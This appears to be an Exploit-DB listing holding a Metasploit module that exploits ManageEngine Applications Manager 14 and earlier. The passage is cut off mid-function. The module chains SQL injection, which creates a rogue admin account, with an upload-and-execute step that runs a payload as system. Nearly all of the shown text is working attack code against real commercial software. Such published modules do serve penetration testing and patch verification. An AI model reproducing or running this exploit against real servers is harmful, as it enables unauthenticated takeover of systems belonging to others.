Exploit-DB #46740
Description: ManageEngine Applications Manager 14.0 - Authentication Bypass / Remote Command Execution (Metasploit)
Type: remote
Platform: multiple
Date: 2019-04-22
Author: AkkuS

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
 
  def initialize(info={})
    super(update_info(info,
      'Name'           => "ManageEngine Applications Manager < 14.0 - Authentication Bypass / Remote Command Execution",
      'Description'    => %q(
        This module exploits sqli and command injection vulnerability in the ManageEngine AM 14 and prior versions.
        It is completely different from the previous EDB-ID:46725 exploit.
 
        Module creates a new admin user with SQLi (MSSQL/PostgreSQL) and provides authentication bypass.
        Therefore an unauthenticated user can gain the authority of "system" on the server. 
        It uploads malicious file using the "Execute Program Action(s)" feature of the app with the new admin account.
 
        Tested: Applications Manager 14 on Linux 64-bit (PostgreSQL)
                Applications Manager 14 on Windows 10 64-bit (MSSQL)
                Applications Manager 14 on Windows 10 64-bit (PostgreSQL)
                Applications Manager 13 on Windows Server 2012 R2 64-bit (MSSQL)
                Applications Manager 12 on Windows Server 2012 R2 64-bit (PostgreSQL)
      ),
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus
        ],
      'References'     =>
        [
          [ 'URL', 'http://pentest.com.tr/exploits/ManageEngine-App-Manager-14-Auth-Bypass-Remote-Command-Execution.html' ]
        ],
      'DefaultOptions' =>
        {
          'WfsDelay' => 60, # countermeasure
          'RPORT' => 8443,
          'SSL' => true
        },
      'Privileged'     => true,
      'Payload'        =>
        {
          'DisableNops' => true,
        },
      'Platform'       => ['unix', 'win', 'linux'],
      'Targets' =>
        [
          [ 'Windows Target',
            {
              'Platform' => ['win'],
              'Arch' => ARCH_CMD,
            }
          ],
          [ 'Linux Target',
            {
              'Platform' => ['unix','linux'],
              'Arch' => ARCH_CMD,
              'Payload' =>
                {
                  'Compat' =>
                    {
                      'PayloadType' => 'cmd',
                      'RequiredCmd' => 'generic perl ruby python',
                    }
                }
            }
          ]
        ],
      'DisclosureDate' => '22 April 2019',
      'DefaultTarget'  => 1))
 
    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path of ME', '/'])
      ],self.class)
  end
 
  def peer
    "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
  end
 
  def print_status(msg='')
    super("#{peer} - #{msg}")
  end
 
  def print_error(msg='')
    super("#{peer} - #{msg}")
  end
 
  def print_good(msg='')
    super("#{peer} - #{msg}")
  end
 
  def exec(action)
    # operation of malicious file. The end of the adventure :(
    send_request_cgi(
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, 'common', 'executeScript.do'),
      'cookie'  => @cookie,
      'vars_get' => {
        'method' => 'testAction',
        'actionID' => action,
        'haid' => 'null'
      }
    )
  end
##
# platform check
##
  def check_platform
    # First touch to support of execute program ;)
    res = send_request_cgi(
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, 'showTile.do'),
      'cookie'  => @cookie,
      'vars_get' => {
        'TileName' => '.ExecProg',
        'haid' => 'null',
      }
    )
    if res && res.code == 200 && res.body.include?('createExecProgAction')
      # Platform can be discovered precisely using an application dir.
      @dir = res.body.split('name="execProgExecDir" maxlength="200" size="40" value="')[1].split('" class=')[0] # It will be recalled later
      if @dir =~ /:/
        platform = Msf::Module::Platform::Windows
      else 
        platform = Msf::Module::Platform::Unix
      end
    else
      fail_with(Failure::Unreachable, 'Connection error occurred! DIR could not be detected.')
    end
    file_up(platform, @dir)
  end
##
# Creating and sending malicious files
##
  def file_up(platform, dir)
    # specifying an extension by platform
    if platform == Msf::Module::Platform::Windows
      filex = ".bat"
    else
      if payload.encoded =~ /sh/
        filex = ".sh"
      elsif payload.encoded =~ /perl/
        filex = ".pl"
      elsif payload.encoded =~ /python/
        filex = ".py"
      elsif payload.encoded =~ /ruby/
        filex = ".rb"
      else
        fail_with(Failure::Unknown, 'Payload type could not be checked!')
      end
    end
 
    @fname= rand_text_alpha(9 + rand(3)) + filex
    data = Rex::MIME::Message.new
    data.add_part('./', nil, nil, 'form-data; name="uploadDir"')
    data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"theFile\"; filename=\"#{@fname}\"")
 
    res = send_request_cgi({
      'method' => 'POST',    
      'data'  => data.to_s,
      'agent' => 'Mozilla',
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'cookie' => @cookie,
      'uri' => normalize_uri(target_uri, "Upload.do")     
    })
 
    if res && res.code == 200 && res.body.include?('icon_message_success') # Success icon control
      print_good("#{@fname} malicious file has been uploaded.")
      create_exec_prog(dir, @fname) # Great. Let's send them somewhere else o_O
    else
      fail_with(Failure::Unknown, 'The file could not be uploaded!')
    end
  end
 
  def create_exec_